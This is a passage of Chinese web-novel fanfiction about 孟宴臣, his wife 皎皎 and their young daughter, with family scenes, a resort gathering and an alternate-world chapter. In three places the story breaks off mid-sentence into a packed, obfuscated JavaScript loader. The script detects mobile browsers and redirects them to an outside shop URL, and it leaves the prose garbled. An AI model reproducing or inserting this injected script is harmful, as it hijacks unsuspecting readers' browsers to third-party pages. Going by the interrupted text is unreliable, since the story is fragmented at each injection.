孟宴臣看到身上多了一条毛毯,就将它拿起来叠好,知道是皎皎担心他感冒,笑着抚了一下她的长发,“不用,我也睡好了。” 这两三年来,付闻樱和孟怀瑾自觉年事已高,儿子又成长得足够优秀,完全可以独当一面,逐渐放下手中权柄,时常待在家里含饴弄孙。 两位长辈如今已经是半退休状态,国坤集团依旧蒸蒸日上,大踏步前进,孟宴臣权势愈盛,自然越来越忙碌。 好在待一切步入正轨,公司新提拔上来的一批高层站稳脚跟,孟宴臣就能轻松许多。 顾白月见他眼底浮着若隐若现的红血丝,叹了一口气,“哥哥辛苦了。” 谁知怀里的柚柚有样学样,也奶声奶气,口齿不清地说道:“咯咯,苦苦了。”一边说,一边手脚并用地扒拉着孟宴臣的腿,试图往爸爸身上爬。 孟宴臣顿时爱怜不已,也学着皎皎的样子坐在地毯上,熟练地亲亲抱抱举高高。 皎皎生柚柚时,因为事先准备齐全,一直精心养护着,虽然没出什么波折,却也难免遭了些罪,可怜巴巴地哭了几嗓子。 彼时孟宴臣在产房外吓得面无血色,差点晕过去,一个大男人生生红了眼眶。 他疼惜皎皎,心里更是过不去,立时就下了决断,此生只要有柚柚一个女儿就足矣,等到皎皎坐月子时,孟宴臣几乎事事亲力亲为,不忍皎皎再受累。 所以很长一段时间里,柚柚很是依赖爸爸,肖亦骁还曾不无艳羡地对孟宴臣说道:“你这命也太好了,咋啥好事都让你碰上了,别人是贴心小棉袄,咱们柚柚这是小羽绒服啊。” 孟宴臣的怀抱宽厚又温暖,给人满满的安全感,柚柚仿佛得了什么了不起的玩具,兴奋得一个劲儿喊:“咯咯咯咯……” 皎皎哈哈直乐,坏心眼地笑话她,“哥,你看柚柚,好像一只小黄鸡呀!”她将女儿接了过来,亲昵地吻柚柚脸颊,“小笨蛋,他可不是哥哥,你要叫他爸爸的。” 孟宴臣勾起嘴角:“哪有这么打趣自己女儿的。” 柚柚固然喜欢爸爸,但她自然更喜欢辛苦孕育她十月的妈妈,一到皎皎怀里就呵呵笑。母女天生脾气秉性相同,遇到开心的事就眯起眼睛,眉眼弯弯,如同缀满了星子。 自从添了柚柚,家里角角落落就多了各式各样的玩具,皎皎拿出一只墨绿色的大嘴巴鳄鱼,乐滋滋地问:“乖宝宝,我们一起来玩游戏,好不好?” 柚柚歪着脑袋瞅妈妈,蓦然笑开:“毫\(^o^)/~” 皎皎伸出手指,缓缓地,慢慢地,沿着鳄鱼圆弧形的一溜儿牙齿试探着摁下去,然后迅速抽出手指,抱着柚柚得意地扭啊扭,“耶,没有咬到。” 这玩具柚柚之前也玩过,小小脑袋里已经储存了一些经验,学着妈妈的样子,用软乎乎的小手指戳来戳去,接连摁动两颗牙齿,鳄鱼的嘴巴都了没有闭合。 柚柚小小年纪,胜负心却很强,见状臭屁兮兮地笑,“皎皎……笨笨……” 皎皎疑惑:“咦?” 小柚子这么厉害得嘛。 她眨巴眨巴眼睛,有点不信邪,趁柚柚不注意,鬼鬼祟祟地伸出手,一连摁动几颗牙齿,然后蹭蹭蹭地退出来。 小鳄鱼不负众望,咔吧一声紧紧扣合,将反应慢半拍的柚柚咬住,还发出设定好的电子海浪声。 柚柚反应了一会儿,哇得一声嚎啕大哭。 顾白月发出无良笑声,“嘿嘿,被逮到了吧?好了好了,妈妈这就来解救你,大胆鳄鱼怪,还不快快住嘴……” 孟宴臣也连忙安慰柚柚:“宝宝不哭了哦,爸爸亲亲。” 夫妻两人正手忙脚乱,哭声引来了付闻樱,她推开门一看,顿时又好气又好笑,熟练地抱起柚柚拍着背轻哄,笑着嗔怪顾白月:“多大的人了,还跟个孩子似的。” 就连孟宴臣也落了埋怨,“你也是,照顾孩子都不会,白长这么大个子了。” 孟宴臣和顾白月对视一眼,双双无奈。 现代社会科技发达,玩具更是五花八门,层出不穷,设计得格外新奇有趣,小孩子未必喜欢,大学生却一见就走不动道,连顾白月这个已经毕业好几年的人都不例外。 刚开始顾白月借着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575311|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪女儿的名义,悄摸摸玩柚柚的小玩具,不小心被发现,还撑着面子,义正严词地解释:“那什么,我先玩一遍,帮柚柚检查一下安全不安全……” 孟宴臣笑意温和,眼神包容,轻轻在她嘴角亲了亲:“我知道。” 在他洞悉一切的目光注视下,顾白月忍不住败下阵来,她有点不好意思,羞赧地问孟宴臣:“哥,我是不是太幼稚了?” 其实这是因为皎皎小时候生活清贫,她体谅季如兰养家的不易,从不开口讨要玩具,乖巧懂事得令人心疼。 但是再乖巧懂事的孩子,在满室喧嚣,所有人热热闹闹讨论着最新款芭比娃娃时,也很难完全置身事外吧?谁又能忍心苛求那个安安静静,默默坐在角落里的小姑娘,遗忘生命中浅淡的遗憾呢。 人终将会被年少不可得之物囚困一生。 孟宴臣都明白。 从那以后,孟宴臣每次出差回来,或是逢年过节,但凡给柚柚买玩具,都会一式两份,留出一半给皎皎,就连玩具房都修了整整齐齐的两间。 养孩子的乐趣之一,大概就在于当你握着孩子软绵绵的小手,仿佛一瞬间回溯童年,找到那个踽踽独行,蹒跚可怜的自己,珍而重之地亲自养育。 顾白月收玩具后很开心,慷慨地请孟宴臣吃橘子糖,古灵精怪地问:“哥哥,这糖好吃吗?” 孟宴臣点头:“好吃,谢谢皎皎。” 顾白月语气促狭:“嘘,哥哥小声点,这是我趁柚柚不注意,从她的零食包里偷拿的。” 孟宴臣失笑:“你不怕柚柚闹人吗?” 顾白月摊手:“没办法,妈妈给柚柚买的小零食都太好吃了,而且小朋友不可以吃太多糖,唔,大朋友可以。” “万一被柚柚发现怎么办?” “柚柚不会发现的,——她不识数。” 正撅着小屁股摆弄洋娃娃的柚柚敏锐回头,她觉得自己似乎闻到了橘子糖的味道,狐疑地盯着爸爸妈妈瞧,孟宴臣和顾白月瞬间闭紧嘴巴,一本正经地冲女儿笑。 柚柚贼精贼精的,蹬蹬蹬跑过来,翻动着看了看孟宴臣和顾白月的手心以及衣袋,里面自然空空如也。 “橘橘糖?” 孟宴臣和顾白月齐刷刷摇头。 柚柚小嘴一瘪,拎着洋娃娃,蔫头耷脑地走掉了。 厨娘莫阿姨探出头来看,非常中肯地点评:“柚柚跟我一样,吃了没文化的亏。” 55.孟宴臣番外之温馨日常 王勉近来新开发了一处度假庄园,郑重其事地给一众亲朋好友下了帖子,邀请大家参加开业剪彩,攒点人气儿。 几人热热闹闹忙活了半天,晚上聚在雅间吹牛,肖亦骁笑话好友:“就你那手·狗爬字儿,也好意思亲自署名。” 王勉咬着烟呲他:“你懂个屁。” 赵又司提醒:“嗳,别抽烟,等会皎皎和柚柚要来。” 王勉抽出烟给他看,“知道,没点火,就借个味儿。” 正说着孟宴臣西装革履,气度泠然地走了进来,身姿清俊似森森凤尾竹。 肖亦骁等人眼睛霍然一亮,下意识往他怀里看去,没有,再往他身后看去,还是没有…… 王勉失望之情溢于言表,满脸嫌弃:“不是,你就这么空着两只手,支棱个大脑袋来了?” 孟宴臣明知道他的意思,却故意曲解:“怎么,我还要敲锣打鼓,大包小裹地过来给你送贺礼?” 王勉啐他:“呸,谁稀罕你的东西,你来不来无所谓,关键是皎皎和柚柚呢?” 孟宴臣说得当然是玩笑话,送的财神玉雕和花篮已经交给迎宾经理了。 肖亦骁惊得直拍大腿:“了不得了,老孟这个死人脸都会开玩笑了,这度假庄园里不会有什么脏东西吧。” 好在韩廷是厚道人,只是拉着赵又司在一旁窃窃私语,“笑死,孟宴臣不会以为帖子送到孟家,就是请他来的吧?多大脸啊。” 孟宴臣无奈:“……下次说悄悄话时,音量可以小一点。”生怕他听不到似的。 知道朋友们是想柚柚了,孟宴臣解释:“前一阵下雨降温,柚柚有点感冒,咳嗽了两天,我跟皎皎今天带孩子去复诊……” 话还未说完,一群大男人瞬间急眼,肖亦骁唾骂他:“柚柚都生病了,你还没事人一样来搂席呐?馋不死你!” 赵又司也皱起眉头:“去的哪家医院?怎么不通知我一声。” 肖亦骁是个急性子,捡起车钥匙就往外跑,“走走走,都别吃了,去医院看看皎皎和柚柚,她俩不来,一群寡汉条子有啥好聊的。” 韩廷煽风点火,嘲笑孟宴臣:“有的人啊,真是在其位不谋其政,要不干脆退位让贤算了。” 顾白月为了给柚柚换尿不湿,抱着孩子去了卫生间,让孟宴臣先过去跟朋友们打招呼,落后一步赶过来时就听到一圈人打趣孟宴臣,当下笑盈盈地说道:“韩哥,你们就别笑话我哥了。” 怀里的柚柚睁着黑葡萄般的大眼睛,好奇地瞧来瞧去,嘴里咿呀咿呀地说着婴语,瞅见孟宴臣就兴奋地挥舞着小手要让爸爸抱:“咯咯,爸……粑粑……” 小丫头刚开始学说话不久,语言体系混乱得很,对着顾白月一会儿喊皎皎,一会儿喊妈妈,在孟宴臣面前,则是哥哥爸爸一通乱叫。 谁家的孩子谁心疼,孟宴臣对女儿很是纵容,配合地张开双臂要将柚柚接过来,可惜半路杀出来个程咬金,肖亦骁笑得见牙不见眼,活似一朵金灿灿的大菊花,“柚柚哎,叔叔的乖宝贝,几天没见,想叔叔了没有?” 孟宴臣早就料到会这样,牵着顾白月坐下,夫妇两人含笑看着友人们逗女儿玩,在柚柚望过来时,用暖融融的目光鼓励她练习说话。 一群人争抢着抱柚柚玩,完全不给孟宴臣和顾白月插手的机会,赵又司毕竟是医生,也接触过幼儿患者,抱孩子的手法比王勉等人专业多了,还瞅空给柚柚切了脉,引着她啊啊哦哦地说了几句话,观察孩子的舌苔和咽喉。 顾白月看出来了,就劝他别担心:“柚柚就是有点受凉,接诊的儿科主任说了,不是什么大问题,药也不能多吃,喝点热水发发汗就好了。” 赵又司点点头,很欣慰:“柚柚活泼机灵,劲头十足,是个健康结实的好孩子。等我回去有空做几瓶秋梨膏,甜滋滋的生津止咳,记得每天用温水化开了给柚柚喝。嗳,皎皎你早晚也各吃一勺,对身体好。” 绝口不提孟宴臣,活像他是个透明人。 顾白月笑着应下,悄悄捏了捏孟宴臣的手指,无声安慰他:没事,哥,我偷偷拿秋梨膏给你吃,保证不让又司哥知道。 孟宴臣轻轻一笑,不做计较。 庄园里聘请了专业厨师,擅长做风味十足的农家菜,人到齐之后,服务员就开始上特色菜,其中一道蜜汁山药旁点缀着一团棉花糖。 几个大男人一贯对这些甜腻腻的零食敬谢不敏,以往朋友聚会,甜食向来都归顾白月,孟宴臣习惯成自然,下意识地将棉花糖连着签子递给顾白月。 顾白月有一瞬的讶然,继而失笑:“哥,我不是小孩子了。” 孟宴臣也笑了:“不是小孩子也能吃糖。” 只要他在,皎皎就有像小孩子一样撒娇任性的权力。 柚柚看到棉花糖,手舞足蹈地还伸手要拿,顾白月怕签子伤到孩子,自己擎着喂柚柚:“小馋猫儿。” 这一家人其乐融融,温馨无比,看得人直冒酸水。 大家自小相识,多少年的老交情了,以前孟宴臣虽说卓荦不凡,天姿矫矫,但其他人也各有胜场,都在一个圈子里混着,谁还担不起一句人中龙凤了,差距还不算太明显。唯独在恋爱结婚这方面,孟宴臣成功赢得佳人芳心,娶了大家共同的白月光,娇妻幼女在怀,可谓出尽风头,硬生生将他们甩出三条街,衬得跟烂泥一样。 你就说可恨不可恨吧。 自从孟宴臣和顾白月成婚之后,一群好友自诩是娘家大舅哥,没少在口头上挤兑他,至于个中原因,孟宴臣心知肚明。 他如今有妻有女万事足,春风得意,一点小小的言语交锋罢了,自然不会放在心上。 一群人吃饱喝足,直接在度假庄园里住下,第二天趁着天光晴朗,相约去体验这里面的农家乐项目。 顾白月穿着一袭丁香紫连衣裙,蓬松长发用淡绿色丝巾挽住,一手提着竹编小篮子,一手牵着女儿。 柚柚打扮得也很是可爱,深粉色卡通小裙子,白色打底裤,脚上还穿着英伦风的圆头小皮鞋,走路时跌跌撞撞,头上小黄鸭的发卡跳来跳去,好像下一秒就要嘎嘎叫。 依照皎皎的话来说,既然出来玩了,就要彻底放松一下,她不仅自己穿得随性,还给孟宴臣挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575312|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一身蓝白相间的休闲装。 孟宴臣难得穿这么清新的颜色,一众朋友都有点不适应。 肖亦骁故意损他:“哼,穿得花红柳绿的,老来俏。” 顾白月逐渐放开牵着柚柚的手,鼓励她独自走路,柚柚越走越稳,母女两人在草莓棚里穿梭来去,比赛着看谁能摘到最大的一颗。 忙活了半天,皎皎和柚柚都累出一头汗,两人手拉手走过来,两双同样漂亮的桃花眼亮晶晶地望向孟宴臣。 孟宴臣掏出手帕,关切地问这一大一小:“累了吗?” 皎皎抿唇一笑,摇摇头,像是身怀隐秘宝藏,迫不及待地要同他分享,“哥,你张嘴。” 孟宴臣配合地张开嘴巴,皎皎将一颗最大最漂亮红润润的草莓放进他嘴里,兴奋地问他:“甜不甜?” 孟宴臣心底软乎乎暖洋洋,仿佛沐浴三月艳阳,“甜。” 当然甜。 王勉艳羡不已,没好气地说:“甜吗?早上刚施过农家肥。” 孟宴臣:“……” 顾白月哈哈一乐,“勉哥你骗人,我刚才还听到其他游客说,这些草莓刚洒过水清洗,可以直接吃。” 孟宴臣一句绝杀:“皎皎别理他们,一群妒夫。” …… 王勉的度假庄园搞得风生水起,有声有色,国坤集团也新开辟了一块商业蓝图,筹建综合性金融街区。 这天,孟宴臣带着一众下属外出考察,意见撞见有人在商场门口做促销。 应该是附近院校的大学生来做兼职,神色之中还带着几分稚气,卖力地举着牌子推销糖果,买一罐价值999元的糖果,送一只糯叽叽的毛绒玩具。 孟宴臣脚步一顿,目光多停留了片刻。 陪同视察的人员都是各部门主管,人均八百个心眼子,见状有人搭话:“孟总也喜欢这个牌子的糖果?说起来真是赶巧,我表妹就在他家总部上班,这不前几天过节送了我好几盒糖,可惜我血糖偏高,怕是没这个口福了。” 孟宴臣拒绝了这份隐晦的讨好,淡笑:“我不爱吃糖,不过我妻子小时候也曾在超市做过促销员,那时候,她每次遇到好吃的东西,就会自掏腰包,买一份留给我。” 这群新提拔上来的管理层,跟着孟宴臣做事也有一段时间了,一向见他冷冷清清,淡漠如水,少有笑得如此柔软温情的时候。 那名主管顿时惊诧不已,怔愣着说出心里话:“孟太太时时惦念着您,那您跟太太的感情一定很好吧?” 孟宴臣笑意愈盛,眉眼舒展,轻轻点头,冲散了身上凛冽气息,显得亲和许多。 姚莫北知道孟宴臣爱听这些,一时没忍住,也凑趣道:“咱们孟总跟太太是青梅竹马,一块儿长大的情谊。” 临走时孟宴臣买了两份糖果,得了两只淡粉色毛绒玩具,妥帖地安置在不同礼盒里。 有人看孟宴臣今天格外好说话,就好奇询问:“您这是送人?” 孟宴臣颔首:“送给我女儿。” “您有两个女儿?” “不,另一只玩具是我太太的。” 56.番外之下一世 孟沉宴对顾白月的爱,是一场漫长无期的梅雨季。 …… 首富闻怀中的夫人顾朝云生产时,对面病房入住一个同样身怀六甲的女人,两人前后脚发动,最后却只抱出来一个女婴,取名顾白月,小名皎皎。 孟家死敌窃走了其中一个孩子,混淆性别,生死未卜。 顾朝云承受不了接连打击,陷入疯癫,直到五年后重遇顾白月,歇斯底里地宣称皎皎就是自己女儿。 对外,顾白月是孟家稳定局势,应付各方试探的挡箭牌; 对内,顾白月是治愈顾朝云,陪伴孟沉宴的一丸特效药。 …… 《逐月》是一本现代都市豪门言情小说。 男主原本是孟家失散多年的小儿子,因权力斗争,自呱呱落地就流落在外,等到好不容易寻回,已经养成孤傲阴郁的古怪性子,与孟家大少爷孟沉宴关系冷淡,兄弟阋墙。 更要命的是,他们竟然喜欢上了同一个女孩,无奈之下,女孩出国留学。 自此,兄弟两人走上完全不同的人生道路,孟沉宴断情绝爱,冷淡度日,男主却主动结识了一个容貌三分肖似白月光的姑娘…… 霸道总裁爱上我·替身上位·虐恋情深大戏,正式拉开序幕。 男主日久生情,爱上替身;替身却被孟沉宴淡漠如雪的气质折服,卑微暗恋;然而孟沉宴心目中,始终只有一轮明月朗照。 嫉妒心作祟之下,男主培植心腹,试图架空闻沉宴。 正式逼宫那一天,孟沉宴仿佛早有预料,淡然询问:“孟二,你知道坐在这个位子上,究竟要承担些什么吗?” 男主笃定:“当然。” 孟沉宴罕见地笑了一下,主动走出办公室: “谢谢你,从今以后,我自由了。” …… 男主陈厌:有时候我真是没办法不嫉妒孟沉宴,同样都是孟家血脉,他可以在父母身边平平安安长大,锦衣玉食,前呼后拥,我却只能像杂草一样野蛮生长,颠沛流离,朝不保夕。 他是饱含美好祝福的沉宴。 我是令人憎恶鄙薄的陈厌。 皎皎,你看,命运对我何其不公。 我本可以忍受这一切,如果我不曾看到你们相依相偎,亲密无间的模样。 所以,你告诉我,你口中的哥哥,究竟是他还是我?你在唤阿宴,抑或阿厌? 这样一份干净纯粹的,清澈无暇的,百分百毫无保留的爱,我也想要独占啊。 皎皎,你说自己鸠占鹊巢,有愧于我,那便用你一生一世来偿还吧,我们两人同年同月同日生,也该同年同月同日死,对不对? 求求你,能不能……可怜可怜我…… …… 孟沉宴:你们说,我和皎皎担了兄妹之名,我不能爱她,她不可爱我,否则便是天理难容,可是谁都知道,无论在法律上还是在血缘上,顾白月从来不是孟家女儿。 没错,是我有意误导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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